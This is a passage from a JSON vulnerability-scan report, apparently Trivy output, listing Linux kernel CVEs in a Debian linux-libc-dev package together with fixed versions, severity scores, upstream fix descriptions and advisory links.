"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53209", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53246", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53254", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53256", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63801", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63889", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63944", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63945", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63946", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63947", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63971", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63975", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64037", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64113", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64117", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64255", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64515", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68086", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68117", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68264", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68300", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68315", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68376", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68402", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68406", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72098", "https://errata.almalinux.org/9/ALSA-2026-67150.html", "https://errata.rockylinux.org/RLSA-2026:67150", "https://git.kernel.org/linus/31d6e6c0ba8d5a7bd59660035a089307100c5e8e%20%287.2-rc3%29", "https://git.kernel.org/stable/c/31d6e6c0ba8d5a7bd59660035a089307100c5e8e", "https://git.kernel.org/stable/c/374775626c327aec2425c16b4d36706e5f8718b8", "https://git.kernel.org/stable/c/5488d3a69d205e28f74f18857b853aa12e778e66", "https://git.kernel.org/stable/c/84d4d2a6988c9a733f7821452cefb5b0d93de2d1", "https://git.kernel.org/stable/c/dc662eed1c432cc2fd4e9314f58d30b3a8cca7cc", "https://git.kernel.org/stable/c/f7990c2b0f08b8841fcd2652d1d7002f5994a7a7", "https://linux.oracle.com/cve/CVE-2026-72098.html", "https://linux.oracle.com/errata/ELSA-2026-67468-0.html", "https://lore.kernel.org/linux-cve-announce/2026081524-CVE-2026-72098-cbda@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-72098", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8816-1", "https://ubuntu.com/security/notices/USN-8816-2", "https://ubuntu.com/security/notices/USN-8816-3", "https://ubuntu.com/security/notices/USN-8816-4", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-72098" ], "PublishedDate": "2026-08-15T06:21:23.897Z", "LastModifiedDate": "2026-10-30T13:19:46.927Z" }, { "VulnerabilityID": "CVE-2026-72463", "VendorIDs": [ "DSA-6568-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.113-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-72463", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:7e7cea1fd52904b1cb976c9e524f5ce3f00fee53332d317fffc723d620bb1419", "Title": "kernel: xfrm: Fix dev use-after-free in xfrm async resumption", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nxfrm: Fix dev use-after-free in xfrm async resumption\n\nxfrm async resumption hold skb-\u003edev refcnt until after transport_finish.\nHowever, xfrm_rcv_cb may modify skb-\u003edev to tunnel dev without taking\ndevice reference, such as vti_rcv_cb. The subsequent async resumption\nwill decrement the tunnel device's reference count, which lead to uaf\nof tunnel dev and refcnt leak of orig dev as below:\n\nunregister_netdevice: waiting for vti1 to become free. Usage count = -2\n\nStash the original skb-\u003edev to fix refcnt imbalance. The new skb-\u003edev set\nby xfrm_rcv_cb can race with device teardown. Extend rcu protection over\nxfrm_rcv_cb and transport_finish to prevent races.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "bottlerocket": 2, "oracle-oval": 3, "photon": 4, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72463", "https://access.redhat.com/security/cve/CVE-2026-72463", "https://git.kernel.org/linus/8045c0df98d4f14c54e5cb875f1c9c0ce89fe4ff%20%287.2-rc1%29", "https://git.kernel.org/stable/c/1acd93259b6be269e26be5d71c224bccd1f8352f", "https://git.kernel.org/stable/c/63a30015199912bd5055bead8001b1ae68a67cdb", "https://git.kernel.org/stable/c/8045c0df98d4f14c54e5cb875f1c9c0ce89fe4ff", "https://git.kernel.org/stable/c/fed4d3195a31125566876952ce66113ec1eb9008", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/9.5.0/BRSA-wvrvm9d6b6zc.toml", "https://linux.oracle.com/cve/CVE-2026-72463.html", "https://linux.oracle.com/errata/ELSA-2026-500572.html", "https://lore.kernel.org/linux-cve-announce/2026081533-CVE-2026-72463-5eb9@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-72463", "https://ubuntu.com/security/notices/USN-8816-1", "https://ubuntu.com/security/notices/USN-8816-2", "https://ubuntu.com/security/notices/USN-8816-3", "https://ubuntu.com/security/notices/USN-8816-4", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-72463" ], "PublishedDate": "2026-08-15T06:22:20.303Z", "LastModifiedDate": "2026-10-30T13:19:52.74Z" }, { "VulnerabilityID": "CVE-2026-74269", "VendorIDs": [ "DSA-6602-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.115-2", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-74269", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:b51a97828000a2b5afc46b99c0c7aea2c28d2e8849fa40e6708e9faf23b96c77", "Title": "kernel: bnxt: fix head underflow on XDP head-grow", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nbnxt: fix head underflow on XDP head-grow\n\nThe xdp.py test test_xdp_native_adjst_head_grow_data crashes when run on\na bnxt machine (and also crashes in NIPA).\n\nIt seems that the bug is an underflow in bnxt_rx_multi_page_skb, which\nbuilds the skb head:\n\n napi_build_skb(data_ptr - bp-\u003erx_offset, rxr-\u003erx_page_size);\n\nThe problem with this expression is that in page mode, rx_offset is:\n\n bp-\u003erx_offset = NET_IP_ALIGN + XDP_PACKET_HEADROOM;\n\nWhich evaluates (at least on x86_64) to 258.\n\nThe test test_xdp_native_adjst_head_grow_data tests a case where the\nhead is adjusted by -256.\n\nWhen this test runs, data_ptr is shifted to frag_start + 2 (where\nfrag_start = page_address(page) + offset).\n\nThen, bnxt_rx_multi_page_skb is invoked and the napi_build_skb\nexpression subtracts 258, landing at an address before frag_start. This\ncould be either the previous fragment or the previous physical page when\nthe offset is \u003c 256 (e.g. if the fragment started at offset 0).\n\nWhen the skb is freed, the page pool fragment reference is dropped on\neither the wrong page or the wrong frag of the right page. In either\ncase, the corrupted reference count can lead to the page being\nprematurely recycled while still in use. Once (incorrectly) recycled, it\ncan be handed out again and on driver teardown this would result in a\ndouble free.\n\nThe commit under fixes updated this code to handle the case where the\nnative page size is \u003e= 64k, but it unintentionally broke the head grow\ncase.\n\nTo fix this, add an offset field to struct bnxt_sw_rx_bd, mirroring the\nexisting offset field in struct bnxt_sw_rx_agg_bd. Populate it on\nallocation and preserve it on reuse.\n\nIn bnxt_rx_multi_page_skb, use the newly added offset field to compute\nthe fragment start and pass that to napi_build_skb. Adjust the layout\nwith skb_reserve.\n\nThere are two cases, the non-adjustment case and the adjustment case.\n\nIn both cases, the skb is built at page_address(page) + offset to\naccount for the case where the native page size \u003e= 64K and skb_reserve\nis called with data_ptr - (page_address(page) + offset). That\ndifference equals bp-\u003erx_offset when data_ptr was not moved, or\nbp-\u003erx_offset + xdp_adjust when XDP adjusted the head.\n\nRe-running the failing test with this commit applied causes the test to\nrun successfully to completion.\n\nThe other rx_skb_func implementations don't have this issue.", "Severity": "HIGH", "VendorSeverity": { "azure": 2, "photon": 4, "redhat": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-74269", "https://git.kernel.org/linus/e26657fe3b85c068b01f42bb0c602f242d643ba9%20%287.2-rc1%29", "https://git.kernel.org/stable/c/3e8f3959a7fd28461b8cd9708c21286b4250b77a", "https://git.kernel.org/stable/c/4c03275bc4435cc8e25f7f3f08aff58c0e783d8d", "https://git.kernel.org/stable/c/59f6211c006cb5936b443fb396eb43864ca21ed5", "https://git.kernel.org/stable/c/bb72b1c6755631c74b7e0878ee55bb81c06776c0", "https://git.kernel.org/stable/c/e26657fe3b85c068b01f42bb0c602f242d643ba9", "https://git.kernel.org/stable/c/ff34e5a26a26c92142afea11455e259c4c4c617b", "https://lore.kernel.org/linux-cve-announce/2026081543-CVE-2026-74269-29cf@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-74269", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8816-1", "https://ubuntu.com/security/notices/USN-8816-2", "https://ubuntu.com/security/notices/USN-8816-3", "https://ubuntu.com/security/notices/USN-8816-4", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-74269" ], "PublishedDate": "2026-08-15T06:22:26.28Z", "LastModifiedDate": "2026-10-30T13:19:54.063Z" }, { "VulnerabilityID": "CVE-2026-74469", "VendorIDs": [ "DSA-6466-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.105-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-74469", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:299967959658f32bdf40cbe757c97912bd84ec77d30ab39b5d72192a7f31e791", "Title": "kernel: sctp: prevent peer transport count overflow", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nsctp: prevent peer transport count overflow\n\nsctp_assoc_add_peer() increments the association's 16-bit transport_count\nfor every new unique peer. Adding the 65,536th transport wraps the count to\nzero.\n\nSCTP sock_diag uses transport_count to reserve the INET_DIAG_PEERS payload,\nthen copies one sockaddr_storage for every entry in transport_addr_list.\nAfter the wrap, a diagnostic dump reserves an empty payload and writes\n8 MiB of peer addresses past the skb tail.\n\nReject a new unique peer when transport_count has reached U16_MAX. Perform\nthe check after the existing-peer lookup so a duplicate address continues\nto return its existing transport at the limit.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:H", "V3Score": 8.3 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:71232", "https://access.redhat.com/security/cve/CVE-2026-74469", "https://bugzilla.redhat.com/2432674", "https://bugzilla.redhat.com/2492381", "https://bugzilla.redhat.com/2502243", "https://bugzilla.redhat.com/2502251", "https://bugzilla.redhat.com/2502498", "https://bugzilla.redhat.com/2507134", "https://bugzilla.redhat.com/2507399", "https://bugzilla.redhat.com/2510890", "https://bugzilla.redhat.com/2513481", "https://bugzilla.redhat.com/2516527", "https://bugzilla.redhat.com/2528676", "https://bugzilla.redhat.com/2532176", "https://bugzilla.redhat.com/2535391", "https://bugzilla.redhat.com/show_bug.cgi?id=2432674", "https://bugzilla.redhat.com/show_bug.cgi?id=2492381", "https://bugzilla.redhat.com/show_bug.cgi?id=2502243", "https://bugzilla.redhat.com/show_bug.cgi?id=2502251", "https://bugzilla.redhat.com/show_bug.cgi?id=2502498", "https://bugzilla.redhat.com/show_bug.cgi?id=2507134", "https://bugzilla.redhat.com/show_bug.cgi?id=2507399", "https://bugzilla.redhat.com/show_bug.cgi?id=2510890", "https://bugzilla.redhat.com/show_bug.cgi?id=2513481", "https://bugzilla.redhat.com/show_bug.cgi?id=2516527", "https://bugzilla.redhat.com/show_bug.cgi?id=2517043", "https://bugzilla.redhat.com/show_bug.cgi?id=2528676", "https://bugzilla.redhat.com/show_bug.cgi?id=2532176", "https://bugzilla.redhat.com/show_bug.cgi?id=2535391", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23007", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53005", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63802", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63831", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64053", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64383", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64534", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64564", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68201", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72261", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74469", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80844", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-81000", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89846", "https://errata.almalinux.org/9/ALSA-2026-71232.html", "https://errata.rockylinux.org/RLSA-2026:71232", "https://git.kernel.org/linus/bd0e9289e2642f6a5c54faad304ce0f41e926d22%20%287.2-rc6%29", "https://git.kernel.org/stable/c/09e722030e8148ba4ed1e42c6b2ea57bda9f9895", "https://git.kernel.org/stable/c/4ba5bf7ed50f235ea4581de8e7a0002f4ed287b0", "https://git.kernel.org/stable/c/546221b86ceeba0d8fec92d46a0604bb7b62be07", "https://git.kernel.org/stable/c/6201cd1d70f1670c5b31ac506e7ab2fa7b8e7f75", "https://git.kernel.org/stable/c/80f48523a0fe42db2e7375dff4e38a25c117090a", "https://git.kernel.org/stable/c/b453e00da1211e997b82743d28af7714c59c05c8", "https://git.kernel.org/stable/c/bd0e9289e2642f6a5c54faad304ce0f41e926d22", "https://git.kernel.org/stable/c/dfea32dd76f390e3155177b0038cc47b01386198", "https://linux.oracle.com/cve/CVE-2026-74469.html", "https://linux.oracle.com/errata/ELSA-2026-500377.html", "https://lore.kernel.org/linux-cve-announce/2026081534-CVE-2026-74469-d3f3@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-74469", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-74469" ], "PublishedDate": "2026-08-15T13:17:51.623Z", "LastModifiedDate": "2026-10-16T20:17:29.653Z" }, { "VulnerabilityID": "CVE-2026-74476", "VendorIDs": [ "DSA-6466-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.105-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-74476", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:2c77ff7c40f7b763c7ac5ab09b6b030ca18a5bb9b3b58f8fc7d63f015690d574", "Title": "kernel: veth: convert frag_list skbs before running XDP", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nveth: convert frag_list skbs before running XDP\n\nA frag_list skb can reach veth with data_len set but nr_frags zero.\nveth_convert_skb_to_xdp_buff() only converts skbs that are shared,\nlocked, have frags[], or do not have enough headroom. It later uses\nskb_is_nonlinear() to decide whether to set XDP_FLAGS_HAS_FRAGS and\nxdp_frags_size.\n\nThat exposes frag_list data to XDP as if it were stored in frags[], but\nfrags[] is empty. AF_XDP copy mode can then trust the bogus XDP fragment\nmetadata, walk an empty fragment entry, and crash in memcpy() from\n__xsk_rcv().\n\nRoute non-linear skbs through skb_pp_cow_data() before exposing them to\nXDP, and only advertise XDP frags when the resulting skb has frags[].\nskb_copy_bits() already handles frag_list input, and skb_pp_cow_data()\nbuilds frags[] output with skb_add_rx_frag(), which is the\nrepresentation XDP multi-buffer expects.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 4, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-74476", "https://git.kernel.org/linus/d0d6415963040c401e7a7e4e482a698ba52448cb%20%287.2-rc6%29", "https://git.kernel.org/stable/c/04958dba44dc795dc79ce2fcbc117821bbbd6542", "https://git.kernel.org/stable/c/0be3632597b8349d43a7dc4244b492dc62a05998", "https://git.kernel.org/stable/c/5c1c15c540fc45820ce3033c319151ec891bc10a", "https://git.kernel.org/stable/c/b24ba0bbffe3e23eb2f6838881c1fabcb29fb9fb", "https://git.kernel.org/stable/c/d0d6415963040c401e7a7e4e482a698ba52448cb", "https://git.kernel.org/stable/c/f9c1fff857e93be709c8b52ed1a643f37bd82c66", "https://linux.oracle.com/cve/CVE-2026-74476.html", "https://linux.oracle.com/errata/ELSA-2026-500374.html", "https://lore.kernel.org/linux-cve-announce/2026081535-CVE-2026-74476-c830@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-74476", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://www.cve.org/CVERecord?id=CVE-2026-74476" ], "PublishedDate": "2026-08-15T13:17:52.397Z", "LastModifiedDate": "2026-10-16T20:17:30.613Z" }, { "VulnerabilityID": "CVE-2026-74480", "VendorIDs": [ "DSA-6466-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.105-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-74480", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:d26c0b64fc4fb1e4b289d3faf80b664852d6d61172db45e95cca49729aa9b276", "Title": "kernel: net: bridge: stop fast-leave after deleting a port group", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: bridge: stop fast-leave after deleting a port group\n\nbr_multicast_leave_group() iterates mp-\u003eports with pp = \u0026p-\u003enext in\nits fast-leave path. After br_multicast_del_pg() removes p,\ncontinuing the loop advances pp through the deleted entry.\n\nIf multicast-to-unicast was enabled, the bridge can hold multiple port\ngroups for the same port and group with different source MAC\naddresses. Once multicast-to-unicast is disabled,\nbr_port_group_equal() matches those entries by port only. A fast leave\ncan then delete one entry and continue from its stale next pointer,\nleaving mp-\u003eports pointing at a deleted port group.\n\nFast leave only needs to remove one matching port group. Break after\nbr_multicast_del_pg() so the loop stops before dereferencing the\nremoved entry.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:66180", "https://access.redhat.com/security/cve/CVE-2026-74480", "https://bugzilla.redhat.com/2467065", "https://bugzilla.redhat.com/2468102", "https://bugzilla.redhat.com/2479812", "https://bugzilla.redhat.com/2481936", "https://bugzilla.redhat.com/2482566", "https://bugzilla.redhat.com/2484456", "https://bugzilla.redhat.com/2486463", "https://bugzilla.redhat.com/2486999", "https://bugzilla.redhat.com/2492329", "https://bugzilla.redhat.com/2492811", "https://bugzilla.redhat.com/2492841", "https://bugzilla.redhat.com/2501252", "https://bugzilla.redhat.com/2502394", "https://bugzilla.redhat.com/2510892", "https://bugzilla.redhat.com/2511932", "https://bugzilla.redhat.com/2516731", "https://bugzilla.redhat.com/2517046", "https://bugzilla.redhat.com/show_bug.cgi?id=2467065", "https://bugzilla.redhat.com/show_bug.cgi?id=2468102", "https://bugzilla.redhat.com/show_bug.cgi?id=2479812", "https://bugzilla.redhat.com/show_bug.cgi?id=2481936", "https://bugzilla.redhat.com/show_bug.cgi?id=2482566", "https://bugzilla.redhat.com/show_bug.cgi?id=2484456", "https://bugzilla.redhat.com/show_bug.cgi?id=2486463", "https://bugzilla.redhat.com/show_bug.cgi?id=2486999", "https://bugzilla.redhat.com/show_bug.cgi?id=2492329", "https://bugzilla.redhat.com/show_bug.cgi?id=2492811", "https://bugzilla.redhat.com/show_bug.cgi?id=2492841", "https://bugzilla.redhat.com/show_bug.cgi?id=2501252", "https://bugzilla.redhat.com/show_bug.cgi?id=2502394", "https://bugzilla.redhat.com/show_bug.cgi?id=2510892", "https://bugzilla.redhat.com/show_bug.cgi?id=2511932", "https://bugzilla.redhat.com/show_bug.cgi?id=2516731", "https://bugzilla.redhat.com/show_bug.cgi?id=2517046", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43133", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43339", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43493", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46015", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46149", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46266", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46306", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46330", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53002", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53223", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53275", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53366", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64034", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64563", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64597", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72129", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74480", "https://errata.almalinux.org/9/ALSA-2026-66180.html", "https://errata.rockylinux.org/RLSA-2026:66180", "https://git.kernel.org/linus/a39789f211b8a4125f0c70e05b30cf715f4f187d%20%287.2-rc6%29", "https://git.kernel.org/stable/c/0309ebbc570000ea0df11c06b69798e5860c5f6f", "https://git.kernel.org/stable/c/159ad90cb929c033308bb39a2c5f8fbf393b77aa", "https://git.kernel.org/stable/c/1a109cc9890d017c41d77e6c82da739579c49f0b", "https://git.kernel.org/stable/c/4695430e8132420bf8de94da3eb36a6cf35fde6b", "https://git.kernel.org/stable/c/482bcb85139addb4e8ac8ed10baeda3e0aad4031", "https://git.kernel.org/stable/c/4c57056ca6aace2e9f94ae9298bf49ef6b0c95e4", "https://git.kernel.org/stable/c/a39789f211b8a4125f0c70e05b30cf715f4f187d", "https://git.kernel.org/stable/c/d6c32e2e25a9a06ba021030e26b6d602a277eb72", "https://linux.oracle.com/cve/CVE-2026-74480.html", "https://linux.oracle.com/errata/ELSA-2026-66355-0.html", "https://lore.kernel.org/linux-cve-announce/2026081536-CVE-2026-74480-e620@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-74480", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-74480" ], "PublishedDate": "2026-08-15T13:17:52.82Z", "LastModifiedDate": "2026-10-16T20:17:30.937Z" }, { "VulnerabilityID": "CVE-2026-74488", "VendorIDs": [ "DSA-6466-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.105-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-74488", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:80a0b8a6a3bee048cd3f51c9fe52a2f04d44b1ceb6696af03f5797cccce56af1", "Title": "kernel: wifi: mwifiex: use the subframe length when parsing A-MSDU TDLS frames", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: mwifiex: use the subframe length when parsing A-MSDU TDLS frames\n\nmwifiex_11n_dispatch_amsdu_pkt() splits an A-MSDU with\nieee80211_amsdu_to_8023s() and walks the resulting subframes. For each\nsubframe it passes the subframe data pointer to\nmwifiex_process_tdls_action_frame(), but pairs it with skb-\u003elen, the\nlength of the A-MSDU parent, instead of rx_skb-\u003elen:\n\n\trx_skb = __skb_dequeue(\u0026list);\n\trx_hdr = (struct rx_packet_hdr *)rx_skb-\u003edata;\n\tif (ISSUPP_TDLS_ENABLED(priv-\u003eadapter-\u003efw_cap_info) \u0026\u0026\n\t ntohs(rx_hdr-\u003eeth803_hdr.h_proto) == ETH_P_TDLS) {\n\t\tmwifiex_process_tdls_action_frame(priv, (u8 *)rx_hdr,\n\t\t\t\t\t\t skb-\u003elen);\n\t}\n\nThe parent is not a valid description of that buffer, and may not be\nvalid memory at all. ieee80211_amsdu_to_8023s() ends 